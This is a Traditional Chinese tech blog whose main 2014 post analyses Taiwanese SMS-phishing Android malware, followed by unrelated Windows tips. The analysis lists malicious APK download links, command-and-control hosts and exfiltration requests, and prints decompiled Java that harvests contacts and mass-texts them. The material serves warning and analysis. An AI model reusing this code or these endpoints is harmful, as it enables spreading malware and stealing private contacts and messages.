Sunday, May 18, 2014

android 簡訊病毒:

android 簡訊病毒:

Step 1. 開啟「設定」,選擇「安全性」之後,再取消勾選「未知的來源」 (允許安裝非Market應用程式),如下圖:
經過這樣的設定之後,我們就只能從Google Play上安裝APP,就算去點擊了簡訊的goo.gl超連結,而下載到宅急便的憑證.apk檔案,也再一次不小心又按到了下載後的apk檔案,並且再一次不小心再去點擊了「程式安裝器」,你的手機在安裝時,都會直接將安裝程式給擋下,出現「安裝遭封鎖」的訊息,如下圖:
因此,從另一個角度來看,如果你希望安裝下載來的apk檔案,就必需去勾選這個「未知的來源」,才有辦法安裝。

取消「小額付費」的服務

話說這個小額付費的服務,對於一般人來說,似乎是沒什麼作用…
所以請打各自電信公司的客服,去停了它吧!就算沒有中毒,你也應該去停掉它…
  • 中華電信:手機直撥800,或0800080090客服專線
  • 台灣大哥大:手機直撥 188免費 或 02-66062999
  • 遠傳電信:手機直撥888/123 市話撥449-5888/449-5123
android 簡訊病毒號碼: 0912104628
android 簡訊病毒網址: http://goo.gl/4zjSLG
android 簡訊病毒內容: 您的法院訴訟

android 簡訊病毒網址: https://www.dropbox.com/s/l0lqzrtzqh2d6qd/%E9%80%9A%E7%9F%A5%E5%96%AE.apk


android 簡訊病毒號碼: 0955164020

android 簡訊病毒內容: 您的民事賠償
android 簡訊病毒網址: http://goo.gl/9Ofdu2
android 簡訊病毒網址: https://www.dropbox.com/s/09g745brshb6m73/%E9%80%9A%E7%9F%A5%E5%96%AE.apk
通知單.apk
流量分析: http://goo.gl/#analytics/goo.gl/9Ofdu2/all_time


- Broadcast Receivers
com.example.google.service.MyDeviceAdminReceiver
intent-filter action:android.app.action.DEVICE_ADMIN_ENABLED
com.example.google.service.SMSServiceBootReceiver
intent-filter action:android.intent.action.BOOT_COMPLETED
com.example.google.service.SMSReceiver
intent-filter action:android.provider.Telephony.SMS_RECEIVED
TaskRequest

- Required Permissions
android.permission.READ_PHONE_STATE
android.permission.SEND_SMS
android.permission.READ_SMS
android.permission.WRITE_SMS
android.permission.RECEIVE_SMS
android.permission.INTERNET
android.permission.READ_CONTACTS
android.permission.RECEIVE_BOOT_COMPLETED


- Used Permissions
android.permission.SEND_SMS
method call:"Lcom/example/google/service/SMSSender/SendToContacts(Landroid/os/Message;)V" calls"Landroid/telephony/SmsManager/getDefault()Landroid/telephony/SmsManager;"
method call:"Lcom/example/google/service/SMSSender/SendToContacts(Landroid/os/Message;)V" calls"Landroid/telephony/SmsManager/sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V"
method call:"Lcom/example/google/service/SMSSender/SendSMS(Landroid/os/Message;)V" calls"Landroid/telephony/SmsManager/getDefault()Landroid/telephony/SmsManager;"
method call:"Lcom/example/google/service/SMSSender/SendSMS(Landroid/os/Message;)V" calls "Landroid/telephony/SmsManager/sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V"
android.permission.READ_PHONE_STATE
method call:"Lcom/example/google/service/Tools/getPhoneNumber(Landroid/content/Context;)Ljava/lang/String;" calls"Landroid/telephony/TelephonyManager/getLine1Number()Ljava/lang/String;"
method call:"Lcom/example/google/service/Tools/getPhoneNumber(Landroid/content/Context;)Ljava/lang/String;" calls"Landroid/telephony/TelephonyManager/getDeviceId()Ljava/lang/String;"
method call:"Lcom/example/google/service/Tools/getPhoneNumber(Landroid/content/Context;)Ljava/lang/String;" calls"Landroid/telephony/TelephonyManager/getSimSerialNumber()Ljava/lang/String;"
method call:"Lcom/example/google/service/Tools/getPhoneNumber(Landroid/content/Context;)Ljava/lang/String;" calls"Landroid/telephony/TelephonyManager/getSubscriberId()Ljava/lang/String;"
android.permission.VIBRATE
method call:"Landroid/support/v4/app/NotificationCompat$Builder/setDefaults(I)Landroid/support/v4/app/NotificationCompat$Builder;" calls"Landroid/app/Notification/Idefaults"
method call:"Landroid/support/v4/app/NotificationCompatHoneycomb/add(Landroid/content/Context; Landroid/app/Notification; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Landroid/widget/RemoteViews; I Landroid/app/PendingIntent; Landroid/app/PendingIntent; Landroid/graphics/Bitmap;)Landroid/app/Notification;" calls "Landroid/app/Notification/Idefaults"
method call:"Landroid/support/v4/app/NotificationCompatIceCreamSandwich/add(Landroid/content/Context; Landroid/app/Notification; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Landroid/widget/RemoteViews; I Landroid/app/PendingIntent; Landroid/app/PendingIntent; Landroid/graphics/Bitmap; I I Z)Landroid/app/Notification;" calls "Landroid/app/Notification/Idefaults"
method call:"Landroid/support/v4/app/NotificationCompatJellybean/(Landroid/content/Context; Landroid/app/Notification; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Ljava/lang/CharSequence; Landroid/widget/RemoteViews; I Landroid/app/PendingIntent; Landroid/app/PendingIntent; Landroid/graphics/Bitmap; I I Z Z I Ljava/lang/CharSequence;)V" calls "Landroid/app/Notification/Idefaults"
android.permission.ACCESS_NETWORK_STATE
method call:"Landroid/support/v4/net/ConnectivityManagerCompat/getNetworkInfoFromBroadcast(Landroid/net/ConnectivityManager; Landroid/content/Intent;)Landroid/net/NetworkInfo;" calls "Landroid/net/ConnectivityManager/getNetworkInfo(I)Landroid/net/NetworkInfo;"
method call:"Landroid/support/v4/net/ConnectivityManagerCompatGingerbread/isActiveNetworkMetered(Landroid/net/ConnectivityManager;)Z" calls"Landroid/net/ConnectivityManager/getActiveNetworkInfo()Landroid/net/NetworkInfo;"
method call:"Landroid/support/v4/net/ConnectivityManagerCompatHoneycombMR2/isActiveNetworkMetered(Landroid/net/ConnectivityManager;)Z" calls"Landroid/net/ConnectivityManager/getActiveNetworkInfo()Landroid/net/NetworkInfo;"
method call:"Landroid/support/v4/net/ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl/isActiveNetworkMetered(Landroid/net/ConnectivityManager;)Z" calls"Landroid/net/ConnectivityManager/getActiveNetworkInfo()Landroid/net/NetworkInfo;"
android.permission.CHANGE_COMPONENT_ENABLED_STATE
method call:"Lcom/example/google/service/MainActivity/HideIcon()V" calls"Landroid/content/pm/PackageManager/setComponentEnabledSetting(Landroid/content/ComponentName; I I)V"
android.permission.WAKE_LOCK
method call:"Landroid/support/v4/content/WakefulBroadcastReceiver/startWakefulService(Landroid/content/Context; Landroid/content/Intent;)Landroid/content/ComponentName;" calls "Landroid/os/PowerManager/newWakeLock(I Ljava/lang/String;)Landroid/os/PowerManager$WakeLock;"
method call:"Landroid/support/v4/content/WakefulBroadcastReceiver/completeWakefulIntent(Landroid/content/Intent;)Z" calls"Landroid/os/PowerManager$WakeLock/release()V"
method call:"Landroid/support/v4/content/WakefulBroadcastReceiver/startWakefulService(Landroid/content/Context; Landroid/content/Intent;)Landroid/content/ComponentName;" calls "Landroid/os/PowerManager$WakeLock/acquire(J)V"
android.permission.READ_CONTACTS
method call:"Lcom/example/google/service/ContactsHelper/getPhoneContactNumbers()V" calls"Landroid/provider/ContactsContract$CommonDataKinds$Phone/Landroid/net/Uri;CONTENT_URI"
method call:"Lcom/example/google/service/ContactsHelper/getPhoneContacts()V" calls"Landroid/provider/ContactsContract$CommonDataKinds$Phone/Landroid/net/Uri;CONTENT_URI"
android.permission.INTERNET
method call:"Lcom/example/google/service/HttpHelper/callWS(Ljava/lang/String;)Ljava/lang/String;" calls "Lorg/apache/http/impl/client/DefaultHttpClient/()V"

- Used Features
android.hardware.telephony
android.hardware.touchscreen
net:
GET /sms/SMSHandler1.ashx?t=new HTTP/1.1 Host: 141.105.65.113 Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 0 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Fri, 06 Jun 2014 15:38:16 GMT
GET /sms/SMSHandler1.ashx?t=new HTTP/1.1 Host: 141.105.65.113 Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 0 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Fri, 06 Jun 2014 15:38:16 GMT
GET /sms/SMSHandler1.ashx?t=new HTTP/1.1 Host: 141.105.65.113 Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
GET /sms/SMSHandler1.ashx?t=new HTTP/1.1 Host: 141.105.65.113 Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

leak:
GET /sms/SMSHandler1.ashx?t=request&p=15555215554&m=generic%3B10 HTTP/1.1 Host: 141.105.65.113 Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
GET /sms/SMSHandler1.ashx?t=r&p=15555215554&a=0815123456789&m=Hello%20World!&d=1402069070000 HTTP/1.1 Host: 141.105.65.113 Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
GET /sms/SMSHandler1.ashx?t=request&p=15555215554&m=generic%3B10 HTTP/1.1 Host: 141.105.65.113 Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
GET /sms/SMSHandler1.ashx?t=r&p=15555215554&a=0815123456789&m=Hello%20World!&d=1402069108000 HTTP/1.1 Host: 141.105.65.113 Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

dns:
muc03s07-in-f14.1e100.net 

http:
Request: GET /sms/SMSHandler1.ashx?t=request&p=15555215554&m=generic;10
Response: 200 "OK"
Request: GET /sms/SMSHandler1.ashx?t=new
Response: 200 "OK"
Request: GET /sms/SMSHandler1.ashx?t=new

tcp:
173.194.44.14:443
android 簡訊病毒號碼: 0926566920
android 簡訊病毒內容: 宅急便 快遞
android 簡訊病毒網址: http://goo.gl/6yOcoV (無法下載)
android 簡訊病毒網址: https://www.dropbox.com/s/9llco6cqo0rxyup/%E6%86%91%E8%AD%89.apk?m=
2014-06-02 19:07:04 ERROR 509: Bandwidth Error.
流量分析: http://goo.gl/#analytics/goo.gl/6yOcoV/all_time

android 簡訊病毒號碼: 0933398720
android 簡訊病毒內容: 宅急便 快遞
android 簡訊病毒網址: http://goo.gl/6fs5jx  (已分析)
android 簡訊病毒網址: https://www.dropbox.com/s/rr5xv3qsn7815u0/%E9%9B%BB%E5%AD%90%E8%A1%A8%E5%96%AE.apk?m=
電子表單.apk
流量分析: http://goo.gl/#analytics/goo.gl/6fs5jx/all_time

- Native Libraries Loaded
Native Library Name
Trying to load lib /data/data/google.service/lib/libAPKProtect.so 0x40516838
Trying to load lib /data/data/google.service/lib/libSafeCore.so 0x40516838
dns:
NameQuery TypeQuery ResultSuccessfulProtocol
ybbcel888.vicp.cc DNS_TYPE_A 220.136.223.64 udp 
ybbcel999.eicp.net DNS_TYPE_A 220.136.213.43 udp
tcp:220.136.223.64:9090

Ad-Aware Android.Trojan.SMSSend.ND 20140602
AegisLab SUSPICIOUS 20140602
AhnLab-V3 Android-Malicious/Litch 20140602
AntiVir Android/SmsAgent.EB.Gen 20140602
Avast Android:RuSMS-AH [Trj] 20140602
BitDefender Android.Trojan.SMSSend.ND 20140602
DrWeb Android.SmsBot.72.origin 20140602
ESET-NOD32 a variant of Android/TrojanSMS.Agent.ADD 20140602
Emsisoft Android.Trojan.SMSSend.ND (B) 20140602
F-Secure Trojan:Android/SmsSend.IE 20140601
GData Android.Trojan.SMSSend.ND 20140602
Kaspersky HEUR:Trojan-Spy.AndroidOS.SmForw.al 20140602
MicroWorld-eScan Android.Trojan.SMSSend.ND 20140602
Sophos Andr/SMSSend-EC

android 簡訊病毒號碼: 0961267359
android 簡訊病毒內容: 宅急便 快遞
android 簡訊病毒網址: http://goo.gl/58ooGF (無法下載)
android 簡訊病毒網址: https://www.dropbox.com/s/iweqcsh4vp9g5f3/%E6%86%91%E8%AD%89.apk?m=
憑證.apk
http://goo.gl/#analytics/goo.gl/58ooGF/all_time

Error (509)

This account's public links are generating too much traffic and have been temporarily disabled!

android 簡訊病毒內容:  黑貓宅急便
android 簡訊病毒網址:  http://goo.gl/em7bab   (已分析)
[application/vnd.android.package-archive]
android 簡訊病毒網址:  https://www.dropbox.com/s/plym2gpyohf9n7a/%E6%86%91%E8%AD%89.apk?m=
http://goo.gl/#analytics/goo.gl/em7bab/all_time

- Native Libraries Loaded
Native Library Name
Trying to load lib /data/data/google.service/lib/libAPKProtect.so 0x40516838
Trying to load lib /data/data/google.service/lib/libSafeCore.so 0x40516838
dns:
NameQuery TypeQuery ResultSuccessfulProtocol
ybbcel999.eicp.net DNS_TYPE_A 61.228.130.24 udp 
ybbcel888.vicp.cc DNS_TYPE_A 220.136.213.160 udp
android 簡訊病毒內容:  黑貓宅急便(2)
 android 簡訊病毒網址: http://goo.gl/SOkMHW   (已分析)
android 簡訊病毒網址:  https://www.dropbox.com/s/zv1f6h6rezcuttt/%E6%86%91%E8%AD%89.apk
http://goo.gl/#analytics/goo.gl/SOkMHW/all_time

- Native Libraries Loaded
Native Library Name
Trying to load lib /data/data/google.service/lib/libAPKProtect.so 0x40516838
Trying to load lib /data/data/google.service/lib/libSafeCore.so 0x40516838
dns:
NameQuery TypeQuery ResultSuccessfulProtocol
buyaoa1.vicp.co DNS_TYPE_A 111.249.169.13 udp 
yemian3.vicp.co DNS_TYPE_A 220.136.220.151 udp
tcp:111.249.169.13:9090

android 簡訊病毒內容:  張瑞芬您申請網上支付電費
android 簡訊病毒網址:  http://goo.gl/k0jo8D   (已分析)
[application/vnd.android.package-archive]
http://goo.gl/#analytics/goo.gl/k0jo8D/all_time

- Native Libraries Loaded
Native Library Name
Trying to load lib /data/data/google.service/lib/libAPKProtect.so 0x40516838
Trying to load lib /data/data/google.service/lib/libSafeCore.so 0x40516838
dns:
NameQuery TypeQuery ResultSuccessfulProtocol
ybbcel999.eicp.net DNS_TYPE_A 61.228.130.220 udp 
ybbcel888.vicp.cc DNS_TYPE_A 61.228.131.215 udp

android 簡訊病毒內容:  您的快遞簽收通知單
android 簡訊病毒網址:  http://goo.gl/1MN94O   (已分析)
android 簡訊病毒網址:  https://www.dropbox.com/s/62556lg017ht0du/%E9%80%9A%E7%9F%A5%E5%96%AE.apk
http://goo.gl/#analytics/goo.gl/1MN94O/all_time

- Native Libraries Loaded
Native Library Name
Trying to load lib /data/data/msc.switchlib.act/lib/libbsvsv.so 0x40516898
Trying to load lib /data/data/msc.switchlib.act/lib/libbsomd.so 0x40516898
dns:

NameQuery TypeQuery ResultSuccessfulProtocol
xdynfa.vicp.co DNS_TYPE_A 211.20.68.250 
boyiis.iego.cn DNS_TYPE_A 114.25.31.243 
android.clients.google.com DNS_TYPE_A 173.194.116.162 173.194.116.163 173.194.116.164 173.194.116.165 173.194.116.166 173.194.116.167 173.194.116.168 173.194.116.169 173.194.116.174 173.194.116.160 173.194.116.161 
162.116.194.173.in-addr.arpa DNS_TYPE_PTR 

service:
TimestampService Name
3.232com.android.vending.util.WorkService
3.232com.android.vending.util.WorkService
11.234msc.switchlib.act.BaseService
22.241com.android.music.MediaPlaybackService
23.236com.android.music.MediaPlaybackService
23.237com.android.music.MediaPlaybackService
24.241com.android.music.MediaPlaybackService
24.242com.android.music.MediaPlaybackService
25.237com.android.music.MediaPlaybackService
30.232com.android.music.MediaPlaybackService
31.237com.android.music.MediaPlaybackService
60.249com.android.music.MediaPlaybackService
60.249com.android.music.MediaPlaybackService
72.252msc.switchlib.act.BaseService
78.253msc.switchlib.act.BaseService
162.486com.android.mms.transaction.SmsReceiverService
162.487com.android.mms.transaction.SmsReceiverService
167.490msc.switchlib.act.BaseService
179.985msc.switchlib.act.BaseService
179.986msc.switchlib.act.BaseService
179.986com.android.email.service.EmailBroadcastProcessorService
179.986com.android.email.service.EmailBroadcastProcessorService
179.986com.google.android.gsf.checkin.CheckinService
179.986com.google.android.gsf.checkin.CheckinService
179.986com.android.exchange.SyncManager
180.991com.google.android.gsf.update.SystemUpdateService
180.991com.google.android.gsf.update.SystemUpdateService
180.991com.google.android.partnersetup.AppHiderService
180.992com.google.android.partnersetup.AppHiderService
180.992com.android.providers.downloads.DownloadService
180.992com.android.providers.downloads.DownloadService
181.986com.android.mms.transaction.SmsReceiverService
181.986com.android.mms.transaction.SmsReceiverService
181.986com.android.providers.media.MediaScannerService
181.986com.android.providers.media.MediaScannerService
181.986com.android.vending.util.AlarmService
181.986com.android.vending.util.AlarmService
182.991com.android.providers.calendar.EmptyService
182.991com.android.bluetooth.opp.BluetoothOppService
182.991com.android.bluetooth.opp.BluetoothOppService
182.991com.google.android.gm.MailIntentService
182.992com.google.android.gm.MailIntentService
182.992com.google.android.gm.downloadprovider.DownloadService
182.992com.google.android.gm.downloadprovider.DownloadService
187.998com.google.android.gsf.checkin.CheckinService
187.998com.google.android.gsf.checkin.CheckinService
187.998com.google.android.gsf.update.SystemUpdateService
187.998com.google.android.gsf.update.SystemUpdateService
189.998com.google.android.partnersetup.AppHiderService
189.999com.google.android.partnersetup.AppHiderService
197.993com.google.android.gsf.checkin.CheckinService
197.993com.google.android.gsf.checkin.CheckinService
197.993com.google.android.gsf.checkin.EventLogService
197.993com.google.android.gsf.checkin.EventLogService
197.993com.android.providers.calendar.EmptyService
197.993com.google.android.gsf.checkin.EventLogService
197.994com.google.android.gsf.checkin.EventLogService
207.413com.google.android.gsf.checkin.CheckinService
207.413com.google.android.gsf.checkin.CheckinService
207.413com.google.android.gsf.update.SystemUpdateService
207.413com.google.android.gsf.update.SystemUpdateService
209.412com.google.android.partnersetup.AppHiderService
209.412com.google.android.partnersetup.AppHiderService
android 簡訊病毒內容:  宅急便快遞通知
android 簡訊病毒網址:  wget http://goo.gl/6U6J3B  (無法下載)
android 簡訊病毒網址:  https://www.dropbox.com/s/g4c8e9zp8dqqhk5/%E6%86%91%E8%AD%89.apk?m=
ERROR 509: Bandwidth Error.
http://goo.gl/#analytics/goo.gl/6U6J3B/all_time

android 簡訊病毒內容:  瑞芬找到你了
android 簡訊病毒網址:  wget http://goo.gl/976Zaj (無法下載)
android 簡訊病毒網址:  http://211.44.3.186/11/index.php
http://goo.gl/#analytics/goo.gl/976Zaj/all_time

用電腦開時,他會去判斷這是電腦,所以就導到新聞網頁去
但如果用手機開啟,就會讓你下載apk檔

再來分析一下註冊的IP
211.44.3.186
經過whois的查詢
是註冊在 Korea Network infomation Center(韓國網路資訊中心)

想也知道宅配公司怎麼可能會用韓國的IP

android 簡訊病毒內容:  您正在申請網上支付電費
android 簡訊病毒網址:  wget http://goo.gl/UB9zBa (無法下載)
android 簡訊病毒網址:  http://203.69.59.153/dong/%E9%80%9A%E7%9F%A5%E5%96%AE.apk
通知單.apk
http://goo.gl/#analytics/goo.gl/UB9zBa/all_time

詐騙簡訊內容:您正在申請網上支付103年2月電費共計367元, 若非本人操作, 請查看電子憑證進行取消 http://goo.gl/UB9zBa 

點選會到http://203.69.59.153/dong/%E9%80%9A%E7%9F%A5%E5%96%AE.apk下載apk,若開啟安裝,則出現:

資安分析:

1. 這隻惡意apk可以讀取手機:通訊錄朋友的姓名電話、簡訊SMS訊息,會把使用者的手機號碼上傳至203.69.59.153 這一個IP:
[GET] http://203.69.59.153/dong/SMSHandler.ashx?t=s&p=[TelNum]
2. IP使用whois系統查詢 http://www.whois365.com/tw/ip/203.69.59.153 
顯示為中華電信所管轄的IP,可能是客戶租用的IP主機被駭?
3. 駭客持續的攻擊分佈集中在下述日期:3/26:1706次、3/31:2946次、4/3:3873次、4/7:4869次。 目前總計超過31000次。(以上數字依照使用者點選短網址統計報表,但有警覺性的使用者,真實攻擊次數更多)直至本篇截稿前,該被駭IP的網路服務仍然存在。
  
最近非常夯的簡訊病毒,很多朋友都有收到這樣的簡訊,我的 Android 手機也收到好幾次,
不過,既然自己接觸 Android 也有不短的時間了,那就剛好發揮一下專業來看看這個病毒到底會做些什麼事情。
Android APK
程式包裝是著名的容易反組譯,幾年前也剛好有個很強的反組譯軟體dex2jar 出現,搭配 JD-GUI 還能很容易的看到反組譯出來的原始碼,大家有興趣也可以試試看。

如果想要知道怎麼反組譯,可以參考下面的步驟,

1.
安裝好 dex2jar JD-GUI
2.
command line 執行
        $> dex2jar.sh apkfile

   
這樣會在資料夾內產生一個名為 apkfile_dex2jar.jar 的檔案
3.
JD-GUI 打開該檔案就可以看到原始碼

-----
下面總結一下這個簡訊病毒的相關實作細節,
這個病毒會取得下面這些權限,

    android.permission.READ_PHONE_STATE
    android.permission.SEND_SMS
    android.permission.READ_SMS
    android.permission.WRITE_SMS
    android.permission.RECEIVE_SMS
    android.permission.INTERNET
    android.permission.CALL_PHONE
    android.permission.READ_CONTACTS
    android.permission.WRITE_EXTERNAL_STORAGE
    com.android.launcher.action.INSTALL_SHORTCUT

這些權限都是跟簡訊和聯絡人資料有關,跟我們所知道的病毒行為相符。

我們從 AndroidManifest.xml 可以看得出來它有三個關鍵組件,
        ".SMSServices">
            
                "com.example.android.services.SMSServices" />
            

        

        "SMSServiceBootReceiver">
            
                "android.intent.action.BOOT_COMPLETED" />
            

        


         android:name="SMSSender" />

每次手機開機,SMSServiceBootReceiver 都會收到 Broadcast,裡面的行為就是啟動 SMSService,所以手機重開機也無法停止病毒的行動。
public class SMSServiceBootReceiver extends BroadcastReceiver
{
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    Intent localIntent = new Intent();
    localIntent.setAction("com.example.android.services.SMSServices");
    paramContext.startService(localIntent);
  }
}

這個病毒的預設起始元件是 MainActivity,剛啟動時會去檢查是不是用 Emulator 執行該 APK,看來是怕被 try 病毒行為,可能也跟他的 Server 有關係吧。

剛剛有提到手機開機就會去執行 SMSService,另外,一旦我們執行這個程式後,SMSService 也會被啟動,基本上就是要確保 SMSService 能夠被運行起來。

SMSService 裡面會啟動 SMSObserver SMSSender,接下來我們再來看這幾個部分。

SMSObserver
的部分,他會去看你的簡訊收件匣裡面所有未讀的簡訊,並把你收到的簡訊內容截取出來,最後將這些簡訊的內容送出到遠端 Server,內容會包含下面幾個資訊,

·                     你自己的手機號碼
·                     來訊者的手機號碼
·                     訊息內容
·                     訊息傳送時間
傳送到遠端 Server 的方式,看起來是一台 Microsoft-IIS/7.0 Server,似乎是用 ASP.NET 寫的 WebService,下面是他傳送到 Server format,使用 GET operation,基本上,後續的相關行為都會傳到該 Server,而且 Server 會回傳一些內容,作為 Client 的使用,但我嘗試用 Postman 送些 Request 過去,似乎沒有接到任何回傳,Server 可能有擋一些濫用 API 的行為,但也可能是我下的 Http Request 格式還是有問題吧。

        http://101.55.13.43/sms/SMSHandler.ashx?t=r&p=你的手機號碼&a=朋友的手機號碼&m=訊息內容&d=傳送時間

這樣的 Request 出去實在很可怕,遠端 Server 應該會把這些資料都記起來,又可以再販賣個資,也可以作為日後發送簡訊的內容參考,甚至是增進社交工程的技術,現在透過網際網路,所有資訊的流通都很迅速,經由連網裝置,一旦有機可乘,就能很容易地竊取到私密資料,太可怕了。

SMSSender 的部分,它被啟動時,會去運行 Contact class 裡面的程式碼,
public void Send()
  throws UnsupportedEncodingException, ParserConfigurationException, InterruptedException
{
  ArrayList localArrayList = new ContactsHelper(this._Context).GetAllContacts();
  WebServiceCalling localWebServiceCalling = new WebServiceCalling(this._Context);
  String str1 = Tools.getPhoneNumber(this._Context);
  String str2 = "";
  Iterator localIterator = localArrayList.iterator();
  while (true)
  {
    if (!localIterator.hasNext())
    {
      if (str2.length() > 0)
        localWebServiceCalling.SC(null, str1, str2);
      return;
    }
    String str3 = (String)localIterator.next();
    str2 = str2 + "," + str3;
    if (str2.length() > 20)
    {
      localWebServiceCalling.SC(null, str1, str2);
      str2 = "";
    }
  }
}

這部分會去看你手機上的通訊錄,把通訊錄上所有聯絡人都擷取出來,然後傳送到遠端 Server,傳送內容會包含,
·                     你自己的手機號碼
·                     聯絡人名稱
·                     聯絡人手機號碼
另外,它也會傳送簡訊給其他聯絡人,
localSmsManager.sendTextMessage(str8.trim(), null, str9, null, null);
  localWebServiceCalling.log("SMS", "S", str1, str8 + "|" + str9);

60秒它就會傳送你的聯絡人資料到遠端 Server 並傳送簡訊給其他聯絡人,

public static void sendUpdateBroadcastRepeat(Context paramContext)
{
  PendingIntent localPendingIntent = PendingIntent.getBroadcast(paramContext, 0, new Intent(paramContext, SMSSender.class), 0);
  long l = SystemClock.elapsedRealtime();
  ((AlarmManager)paramContext.getSystemService("alarm")).setRepeating(2, l, 60000L, localPendingIntent);
}
另外看到所有的 Http GET 操作,都會再把 Http Response 的內容透過 Message 丟給注入的 Handler 做其他處理。
new Thread(new Runnable()
{
  public void run()
  {
    try
    {
      String str = WebServiceCalling.this.callWS(paramString);
      if (paramHandler != null)
      {
        Message localMessage = new Message();
        localMessage.what = paramInt;
        localMessage.obj = str;
        paramHandler.sendMessage(localMessage);
      }
      return;
    }
    catch (UnsupportedEncodingException localUnsupportedEncodingException)
    {
      localUnsupportedEncodingException.printStackTrace();
      return;
    }
    catch (ParserConfigurationException localParserConfigurationException)
    {
      localParserConfigurationException.printStackTrace();
    }
  }
}).start();
簡訊內容的來源是遠端server,所以應該可以很快地改變訊息發送的內容,也可以依據狀況改變要發送的連結內容。
另外,他還會監控你的來電,當有手機來電時,會將電話轉到 #,這是我不太理解的部分,不清楚轉號碼到這個 # 號會變怎麼樣,是會接掛斷電話?還是跟 USSD 漏洞有關係?
-----
以上就是病毒程式碼大致的狀況,雖然這個病毒還需要安裝執行才會有作用,不過對於一般人來說,應該比較難警覺到 App 有詐。因為一旦被感染後,病毒就可以直接存取聯絡人資料,所以傳播速度真是非常快,這些病毒的猖獗真是可怕。



Wednesday, May 14, 2014

在 Windows 8 下安裝 Visual C++ 6 的方法

在 Windows 8 下安裝 Visual C++ 6 的方法:
把安裝目錄下的"MSDEV.EXE",改個名字比如"MSDEV1.EXE"..."MSDEV2.EXE"...."MSDEVx.EXE",
然後再右鍵,相容模式選擇"WINXP SP2"或者WINXPSP3都可以."以管理員身份運行"也勾上,再運行.
第一次報錯,沒關係,關閉,再運行一次就OK,以後都OK.
若不行,在改改名稱,再試驗,總有一個能行的.我的改為"MSDEV6.EXE"

Tuesday, May 13, 2014

fix keil crash on win8 if resolution is 1152x864

fix keil crash on win8 if resolution is 1152x864

Control Panel -> Appearance and Personalization -> Display -> Size of display items

change resolution to 1920x1200 @ 125% and 150% works

http://www.keil.com/forum/24697/

Thursday, May 08, 2014

Samsung e-book reader SNE-50K

Samsung  e-book reader SNE-50K
http://tech.hexun.com.tw/2011-07-06/131187654.html

韓國2015年將全面用電子課本代替紙質


Thursday, May 01, 2014

pagefile.sys

pagefile.sys
pagefile.sys這東西就比較麻煩了,他就是用來配置「虛擬記憶體」的檔案,什麼是虛擬記憶體哩?
這要從頭說起,早年電腦的DRAM記憶體是非常昂貴的,天使記得以前一條128MB的記憶體,竟然就要數千元!因此電腦的記憶體,常常處於不夠用的狀態,以前常見情況是,你只剩不到1GB的記憶體,可是卻要去執行一些吃超過1GB的應用程式,該怎麼辦哩?-就只好跟硬碟借空間了!如前所述,傳統硬碟的容量,都是俗又大碗的~既然如此,就借記憶體一些來用囉~
如果需要硬碟空間,更是可以考慮把虛擬記憶體的配置空間縮小甚至關閉啦!步驟如下:
(1) 到 [控制台]、[系統及安全性]、[系統]
(2) 點選左邊 [進階系統設定]
(3) 出現 [系統內容] 視窗,切換至 [進階] 索引標籤
(4) 在 [效能] 群組中,點選 [設定]
(5) 出現 [效能選項] 視窗,切換至 [進階] 索引標籤
(6) 在 [虛擬記憶體] 群組中,按 [變更]。

(7) 你可以選擇「自訂大小」,根據你的需求配置虛擬記憶體。也可以勾選 [沒有分頁檔],按 [確定] 關閉 pagefile.sys 分頁檔。

(網路上對於超大記憶體環境是否需要"關閉虛擬記憶體",也一直有兩派爭論,建議你就選個你喜歡的方式就好!當然你也可以用一些較花記憶體的應用程式或遊戲來測看看囉)

用好這兩項配置,重新開機之後,就可以發現,這兩個檔案,都消失/變小囉!硬碟又多了不少空間出來,是不是比較清爽了呢!

hiberfil.sys

hiberfil.sys
hiberfil.sys,這倒底是甚麼碗糕哩?原來,windows有個功能,叫做「休眠」,他的意思呢、就是讓電腦進入一個休息的狀態,關閉CPU、記憶體、硬碟所有功能,然後將記憶體的所有東西,丟到硬碟裡面,當你要使用時候,電腦只要把記憶體東西從硬碟拿回來,還原工作,就可以快速啟用。不過這麼一來,電腦就必須要硬碟裡面擺放一個空間,好隨時將所有記憶體的東東,給放入硬碟裡面。這就是hiberfil.sys的作用啦!
因此如果你有要用那個休眠功能,或是硬碟空間很吃緊,是可以將這個檔案關閉的!
根據以下步驟關閉並刪除 :
(1) 以系統管理員身分執行 [命令提示字元]

(點出 開始功能表->附屬應用程式->命令提示字元,按下右鍵,選擇「用系統管理員身分執行」)

(2)輸入 powercfg -h off ,按 Enter 鍵即可關閉休眠模式。

(假如要恢復的話請輸入 powercfg -h on 後按 Enter。)

Wednesday, April 30, 2014

kb2919394 win8.1 x64 update fail

kb2919394 win8.1 x64 update fail

Saturday, March 15, 2014

Windows 列印資料因某些原因無法繼續列印,留在佇列當中也無法刪除,該如何排除?

@打開筆記本,將下面存成stopSpool.bat執行 
@echo off
@echo 首先您使用的帳號需要有該部電腦管理者權限
Net Stop spooler
Del %systemroot%\system32\spool\printers\.
Net Start Spooler
@echo OK~列印佇列清除成功!!
@echo 印表機視窗中若仍顯示有列印佇列,請按「檢視」「重新整理」

@pause 

